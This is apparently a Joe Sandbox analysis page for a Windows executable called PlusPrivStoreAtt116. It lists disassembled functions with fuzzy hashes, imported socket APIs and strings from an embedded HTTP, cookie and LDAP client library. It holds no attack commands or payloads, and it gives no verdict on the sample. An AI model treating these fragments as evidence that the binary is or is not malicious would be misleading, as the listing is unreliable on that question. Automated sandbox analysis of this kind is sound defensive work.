Opcode ID: 66997184731f703451c23791d2a627075896e7fda698d68a4c0cfe32fbc39a11
Instruction ID: aadb0dcfd12c03306a872d0ed2d87c4cc547b1e61428c93a8d23b4dfa31a9336
Opcode Fuzzy Hash: 66997184731f703451c23791d2a627075896e7fda698d68a4c0cfe32fbc39a11
Instruction Fuzzy Hash: 9131EB62F0974645FA159B53E54037E2A409F19BE9F740630DE6D47BC3DEBCA492C340

Function 00007FF6029DA390 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

SSL/TLS connection timeout, xrefs: 00007FF6029DA4EC
select/poll on SSL/TLS socket, errno: %d, xrefs: 00007FF6029DA4D3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: 90b4d512fff49a626f0686bc07ab1995a32770a12746a8eb099df0e8d7811198
Instruction ID: d9999ce4a34219382144fd0c98e2034d8a7eed693c17dd73a040cce79f004beb
Opcode Fuzzy Hash: 90b4d512fff49a626f0686bc07ab1995a32770a12746a8eb099df0e8d7811198
Instruction Fuzzy Hash: 5E51A122A0868286EB54DF2795442BD7B90EF54BACF248235DE2DC73D2DEBCE461D300

Function 00007FF6029B66D0 Relevance: 4.8, APIs: 3, Instructions: 309networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF6029B6AC6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B6AE7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freerecv
String ID:
API String ID: 2032557106-0
Opcode ID: c290df82bec0a9fbd1bba91402cfb6175d957c5f8f370d1a6f1b991630986998
Instruction ID: 55ffbaa85681eefb66185e29fcc42a5969ea495a107774fff406f349839fb369
Opcode Fuzzy Hash: c290df82bec0a9fbd1bba91402cfb6175d957c5f8f370d1a6f1b991630986998
Instruction Fuzzy Hash: FAC1F93260869246EB668F26D1503BA6BA4FF847ACF244235DEAE837C5DF7CF4418700

Function 00007FF6029C27A0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2805

Strings

User-Agent: %s, xrefs: 00007FF6029C2816
Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF6029C2944

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 1294909896-3248832348
Opcode ID: 9352cf03e6d1215826af78489c14582c219a9cd389749df62015d38e4eedf361
Instruction ID: c7da9fda61175d81c652e6464af8aea9362a261a2264f6ba65ba4049d06fad91
Opcode Fuzzy Hash: 9352cf03e6d1215826af78489c14582c219a9cd389749df62015d38e4eedf361
Instruction Fuzzy Hash: E3515A62E0CAC281E755CF26D0503A96B60EB84F9CF684531DE8C8B39ADFB8E491C710

Function 00007FF6029B1D90 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029B1AA0: SleepEx.KERNELBASE ref: 00007FF6029B1C5F

SetConsoleTitleA.KERNEL32 ref: 00007FF6029B1DD8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B1E32

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ConsoleSleepTitle_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4275364305-0
Opcode ID: 0482b1b62b6ae519898025941bbefb5542d9f6902fe729238a29048143dd3a8a
Instruction ID: 49a500d87857cce951af1e0ea81347e2bef89d46557ca884746d6c8ba67c4361
Opcode Fuzzy Hash: 0482b1b62b6ae519898025941bbefb5542d9f6902fe729238a29048143dd3a8a
Instruction Fuzzy Hash: F411A961E1858641FF51D711E56436A7B60FF857ECF600231E59E86ADADFECE484C700

Function 00007FF6029C6600 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF6029C660C
WSAGetLastError.WS2_32 ref: 00007FF6029C661B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 9297357e9789c547a433d17009090a850aba96bb81910332f5902cd5212cb4f3
Instruction ID: 7aba0bfbf84125c8e18b959e0a43cf4580ce36dfc4381d0de01fbab1bc56e100
Opcode Fuzzy Hash: 9297357e9789c547a433d17009090a850aba96bb81910332f5902cd5212cb4f3
Instruction Fuzzy Hash: DCE0DF21F0860942FF289771A8B933812949F88735F644734CA3AC63C0DEAC44D64700

Function 00007FF6029B2380 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029B23A4
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029B23C5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID:
API String ID: 2168557111-0
Opcode ID: 3d02d3eb83713d43c77fd4721ff7eee78d3dbed60bee5a5b721cc135446cce2f
Instruction ID: 21a9460118ec19c62780e7072f3ec4c6c48e6a24fcf763c18e096f7f1676785d
Opcode Fuzzy Hash: 3d02d3eb83713d43c77fd4721ff7eee78d3dbed60bee5a5b721cc135446cce2f
Instruction Fuzzy Hash: C1E03932A08B81C2D7008B50F84455AB7A8FF987C8F904135EF8C87A29CFBCD1A5CB40

Function 00007FF6029C6EE0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF6029C6F23

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: c66370dc830ad94e535e2ad815e95569a5c7930ebc6c8522cb5e8aded36d2ec2
Instruction ID: 4f9b0c7877c98f5d30599ec174e6167e02c73a52868b1d0ea2f2d5c492a25059
Opcode Fuzzy Hash: c66370dc830ad94e535e2ad815e95569a5c7930ebc6c8522cb5e8aded36d2ec2
Instruction Fuzzy Hash: 88019222B1994181EF55DB2BE2983AD2BA0EF88F8CF284031DB0D87297CE68D4958700

Function 00007FF6029CEA00 Relevance: 1.5, APIs: 1, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF6029CEA29

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: f0bb34100cf0a741a16ee44f1e954a57bc67ddd83bf44124ffd341ded78523cc
Instruction ID: 0426cbe5d23f0652d6ac550c650c344feb621155f7b333381a20810bb21b6f42
Opcode Fuzzy Hash: f0bb34100cf0a741a16ee44f1e954a57bc67ddd83bf44124ffd341ded78523cc
Instruction Fuzzy Hash: 59E0223AE0220182CE08A722C8922B82760BF44B78FA04771C63E433C1CE6CE2669B00

Function 00007FF6029D9660 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D967B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 6b00736407f2214d91860028af48249fbae4847a37a0940c787b6abd9db0cd9c
Instruction ID: d343da87cc852a7740bbcb2eee6075ffeb768d42943182a5395df6374aaea931
Opcode Fuzzy Hash: 6b00736407f2214d91860028af48249fbae4847a37a0940c787b6abd9db0cd9c
Instruction Fuzzy Hash: 97D0C263718A00429B108FA1A844029E251FB88774B484738EE7D827E0DF38D1454600

Function 00007FF6029D55A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF6029D55B9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: ad4c069ad0f4160e7c62cb6453504bdc4280a687206230678d7d671c433c8928
Instruction ID: 6720482a217232dc8dfa4efb9382691f7724866baeeb4dd8e78ea3835ee3973a
Opcode Fuzzy Hash: ad4c069ad0f4160e7c62cb6453504bdc4280a687206230678d7d671c433c8928
Instruction Fuzzy Hash: 5BC08056F14681C2C3445F6154C91876771BFC4308FA56435D50782124DD3CC2E58B40

Non-executed Functions

Function 00007FF6029D31A0 Relevance: 127.2, APIs: 25, Strings: 47, Instructions: 1229stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029D4363

Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6525
Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6540

memchr.VCRUNTIME140 ref: 00007FF6029D4456
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029D456E
strchr.VCRUNTIME140 ref: 00007FF6029D4582
strchr.VCRUNTIME140 ref: 00007FF6029D45AA
strchr.VCRUNTIME140 ref: 00007FF6029D45C0

Strings

HTTP, xrefs: 00007FF6029D455E
Content-Encoding:, xrefs: 00007FF6029D3BA1
Invalid Content-Length: value, xrefs: 00007FF6029D4618
Received HTTP/0.9 when not allowed, xrefs: 00007FF6029D44CB
Connection:, xrefs: 00007FF6029D396B, 00007FF6029D3A20
Retry-After:, xrefs: 00007FF6029D3BE3
Got 417 while waiting for a 100, xrefs: 00007FF6029D4343
Mark bundle as not supporting multiuse, xrefs: 00007FF6029D33DF
HTTP/, xrefs: 00007FF6029D34A9
, xrefs: 00007FF6029D338C
Negotiate: noauthpersist -> %d, header part: %s, xrefs: 00007FF6029D3F2C
Transfer-Encoding:, xrefs: 00007FF6029D3AEA
Proxy-Connection:, xrefs: 00007FF6029D37D3, 00007FF6029D38AC
RTSP/%1d.%1d%c%3d, xrefs: 00007FF6029D352D
Content-Range:, xrefs: 00007FF6029D3C6E
WWW-Authenticate:, xrefs: 00007FF6029D3E36
Keep sending data to get tossed away!, xrefs: 00007FF6029D43FC
The requested URL returned error: %d, xrefs: 00007FF6029D4733
Overflow Content-Length: value!, xrefs: 00007FF6029D373B
Last-Modified:, xrefs: 00007FF6029D3DD7
HTTP error before end of send, stop sending, xrefs: 00007FF6029D43AD
Location:, xrefs: 00007FF6029D3F6E
HTTP %3d, xrefs: 00007FF6029D3408
Lying server, not serving HTTP/2, xrefs: 00007FF6029D33BC
false, xrefs: 00007FF6029D3F10
Content-Type:, xrefs: 00007FF6029D3756
Set-Cookie:, xrefs: 00007FF6029D3D33
Persistent-Auth, xrefs: 00007FF6029D3ED2
Maximum file size exceeded, xrefs: 00007FF6029D45FF
no chunk, no close, no size. Assume close to signal end, xrefs: 00007FF6029D4156
HTTP/%1d.%1d%c%3d, xrefs: 00007FF6029D3339
keep-alive, xrefs: 00007FF6029D3866, 00007FF6029D39F6
Proxy-authenticate:, xrefs: 00007FF6029D3E61
close, xrefs: 00007FF6029D3933, 00007FF6029D3AB3
Content-Length:, xrefs: 00007FF6029D36AF
HTTP 1.0, assume close after body, xrefs: 00007FF6029D3607
HTTP/1.1 proxy connection set close!, xrefs: 00007FF6029D3B4D
HTTP error before end of send, keep sending, xrefs: 00007FF6029D4389
The requested URL returned error: %s, xrefs: 00007FF6029D45D7
HTTP/1.0 proxy connection set to keep alive!, xrefs: 00007FF6029D3B2C
, xrefs: 00007FF6029D3542
Received 101, xrefs: 00007FF6029D463B
Unsupported HTTP version in response, xrefs: 00007FF6029D4541
HTTP/%1[23] %d, xrefs: 00007FF6029D3364
Connection closure while negotiating auth (HTTP 1.0?), xrefs: 00007FF6029D41AC, 00007FF6029D41F8
RTSP/, xrefs: 00007FF6029D3294
HTTP/1.0 connection set to keep alive!, xrefs: 00007FF6029D3B6B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$fwrite$_strdupmemchrstrncmp
String ID: $ $ HTTP %3d$ HTTP/%1[23] %d$ HTTP/%1d.%1d%c%3d$ RTSP/%1d.%1d%c%3d$Connection closure while negotiating auth (HTTP 1.0?)$Connection:$Content-Encoding:$Content-Length:$Content-Range:$Content-Type:$Got 417 while waiting for a 100$HTTP$HTTP 1.0, assume close after body$HTTP error before end of send, keep sending$HTTP error before end of send, stop sending$HTTP/$HTTP/1.0 connection set to keep alive!$HTTP/1.0 proxy connection set to keep alive!$HTTP/1.1 proxy connection set close!$Invalid Content-Length: value$Keep sending data to get tossed away!$Last-Modified:$Location:$Lying server, not serving HTTP/2$Mark bundle as not supporting multiuse$Maximum file size exceeded$Negotiate: noauthpersist -> %d, header part: %s$Overflow Content-Length: value!$Persistent-Auth$Proxy-Connection:$Proxy-authenticate:$RTSP/$Received 101$Received HTTP/0.9 when not allowed$Retry-After:$Set-Cookie:$The requested URL returned error: %d$The requested URL returned error: %s$Transfer-Encoding:$Unsupported HTTP version in response$WWW-Authenticate:$close$false$keep-alive$no chunk, no close, no size. Assume close to signal end
API String ID: 3939785054-690044944
Opcode ID: 6a72cbcf9002a9611f75e853c7b872236e3054cd818c7053253f7cd7de46e710
Instruction ID: c96e202f3032aab34700d016cba3d94303276bc89013d5fe960bb08f343a2a81
Opcode Fuzzy Hash: 6a72cbcf9002a9611f75e853c7b872236e3054cd818c7053253f7cd7de46e710
Instruction Fuzzy Hash: 69C2AC71A0868285FB608B2699443F92F91EF41B8CF684135CE4D8B2CBDFBDE445EB11

Function 00007FF6029B92A0 Relevance: 105.7, APIs: 41, Strings: 19, Instructions: 730stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,?,00000000,?,00000000,?,?,00007FF6029BAAF7), ref: 00007FF6029B9310
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B932B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B9364
strchr.VCRUNTIME140 ref: 00007FF6029B9377
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B94F7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9518
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B953B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9548
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B95E1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B95EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B9602
strchr.VCRUNTIME140 ref: 00007FF6029B97EF
strchr.VCRUNTIME140 ref: 00007FF6029B9809
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B98FC
strchr.VCRUNTIME140 ref: 00007FF6029B9928
strrchr.VCRUNTIME140 ref: 00007FF6029B993A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B995B
memcpy.VCRUNTIME140 ref: 00007FF6029B9974
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B99E8
strchr.VCRUNTIME140 ref: 00007FF6029B9A0B
strchr.VCRUNTIME140 ref: 00007FF6029B9A20

Strings

version, xrefs: 00007FF6029B972B
__Secure-, xrefs: 00007FF6029B94F0
oversized cookie dropped, name/val %zu + %zu bytes, xrefs: 00007FF6029B987F
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF6029B9F27
secure, xrefs: 00007FF6029B956E
path, xrefs: 00007FF6029B95CD
FALSE, xrefs: 00007FF6029B9A5E, 00007FF6029B9C5B
#HttpOnly_, xrefs: 00007FF6029B99DE
%4095[^;=] =%4095[^;], xrefs: 00007FF6029B93B6
expires, xrefs: 00007FF6029B9785
max-age, xrefs: 00007FF6029B9758
domain, xrefs: 00007FF6029B9621
localhost, xrefs: 00007FF6029B964F
TRUE, xrefs: 00007FF6029B9A57
__Host-, xrefs: 00007FF6029B9511
httponly, xrefs: 00007FF6029B95A6
Added, xrefs: 00007FF6029B9F1D
Replaced, xrefs: 00007FF6029B9F11
skipped cookie with bad tailmatch domain: %s, xrefs: 00007FF6029B970E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdup$freestrncmp$_time64callocmallocmemcpystrrchr
String ID: #HttpOnly_$%4095[^;=] =%4095[^;]$%s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced$TRUE$__Host-$__Secure-$domain$expires$httponly$localhost$max-age$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
API String ID: 2059720140-3844637060
Opcode ID: 875491f4005b451058fe927c7443391be4a7a5e85f4c1cbb66cb3d2a8e153f6d
Instruction ID: 4b098925e1809d28da46f77e040e27fede155c52fcac285a2b83169d9d056fa8
Opcode Fuzzy Hash: 875491f4005b451058fe927c7443391be4a7a5e85f4c1cbb66cb3d2a8e153f6d
Instruction Fuzzy Hash: 2272AF21A18B8685FF628B26D6543B96FA1FF4579CF244135CB8E826D7DFACE444C700

Function 00007FF6029EDB30 Relevance: 102.1, APIs: 45, Strings: 13, Instructions: 581COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6525
Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6540

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDBBE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDBF2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDBFC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDC19
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDC2C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EDC35
#22.WLDAP32 ref: 00007FF6029EDC46
#211.WLDAP32 ref: 00007FF6029EDCE0
#217.WLDAP32 ref: 00007FF6029EDCFC
#211.WLDAP32 ref: 00007FF6029EDD15
#211.WLDAP32 ref: 00007FF6029EDD27
#60.WLDAP32 ref: 00007FF6029EDD57
#211.WLDAP32 ref: 00007FF6029EDE72
#60.WLDAP32 ref: 00007FF6029EDE97
#22.WLDAP32 ref: 00007FF6029EDF3A
#41.WLDAP32 ref: 00007FF6029EE356
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE37E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE388
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE3A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE3BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE3C4
#46.WLDAP32 ref: 00007FF6029EE3D6

Strings

cleartext, xrefs: 00007FF6029EDC6F
LDAP local: LDAP Vendor = %s ; LDAP Version = %d, xrefs: 00007FF6029EDB64
;binary, xrefs: 00007FF6029EE1C0
LDAP local: bind via ldap_win_bind %s, xrefs: 00007FF6029EDF44
LDAP local: %s, xrefs: 00007FF6029EDBA7
LDAP local: trying to establish %s connection, xrefs: 00007FF6029EDC79
LDAP local: %s, xrefs: 00007FF6029EDC4C
Microsoft Corporation., xrefs: 00007FF6029EDB50
encrypted, xrefs: 00007FF6029EDC8E
There are more than %d entries, xrefs: 00007FF6029EE366
LDAP remote: %s, xrefs: 00007FF6029EDFB7
LDAP local: Cannot connect to %s:%ld, xrefs: 00007FF6029EDD7B
DN: , xrefs: 00007FF6029EE032

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$#211$fwrite$#217calloc
